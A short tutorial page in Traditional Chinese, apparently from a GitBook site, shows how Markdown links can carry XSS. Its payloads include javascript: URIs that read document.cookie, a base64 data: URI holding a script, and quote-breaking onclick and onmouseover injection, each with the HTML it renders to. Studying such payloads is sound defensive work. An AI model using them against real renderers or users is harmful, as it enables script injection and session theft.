Markdown XSS 連結攻擊

執行 JavaScript alert

程式碼

[執行 JavaScript alert][JsAlert]
[JsAlert]: javascript:alert(123);

產生 Markdown HTML

<a href="javascript:alert(123);" target="_blank">執行 JavaScript alert</a>

Demo

執行 JavaScript alert

程式碼

[執行 JavaScript Promtp][JsPromtp]
[JsPromtp]: javascript:prompt(document.cookie,'這是你的cookie')

產生 Markdown HTML

<a href="javascript:prompt(document.cookie,'這是你的cookie')" target="_blank">執行 JavaScript Promtp</a>

Demo

執行 JavaScript Promtp

轉換 javascript 程式為 base64 字串

base64 轉換網站

HTML： <script>alert('XSS')</script>

base64： PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

程式碼

[執行 base64 JavaScript alert](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

產生 Markdown HTML

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K" target="_blank">執行 base64 JavaScript alert</a>

Demo

執行 base64 JavaScript alert

程式碼

[滑鼠點擊事件 onclick][htmlOnClick]
[htmlOnClick]: http://www.google.com.tw/#"onclick='alert(123)'

產生 Markdown HTML

<a href="http://www.google.com.tw/#" onclick='alert(123)' target="_blank">滑鼠點擊事件 onclick</a>

Demo

滑鼠點擊事件 onclick

在 gitbook 有將特殊字元 " 字串轉換成無法執行的 "，所以 gitbook 沒有這方面的漏洞

程式碼

[滑鼠滑過事件 onmouseover][htmlOnMouseOver]
[htmlOnMouseOver]: http://www.google.com.tw/#"onmouseover='alert(123)'

產生 Markdown HTML

<a href="http://www.google.com.tw/#" onmouseover='alert(123)' target="_blank">滑鼠滑過事件 onmouseover</a>

Demo

滑鼠滑過事件 onmouseover

在 gitbook 有將特殊字元 " 字串轉換成無法執行的 "，所以 gitbook 沒有這方面的漏洞

[擷取你的 cookie][JsCookie]
[JsCookie]: javascript:document.cookie='yourcookie=這是你的cookie';alert(document.cookie);

產生 Markdown HTML

<a href="javascript:document.cookie='yourcookie=這是你的cookie';alert(document.cookie);" target="_blank">擷取你的 cookie</a>

Demo

擷取你的 cookie

程式碼

[錯誤事件處理 onerror](javascript:window.onerror=alert;throw%20document.cookie)

產生 Markdown HTML

<a href="javascript:window.onerror=alert;throw%20document.cookie" target="_blank">錯誤事件處理 onerror</a>

Demo

錯誤事件處理 onerror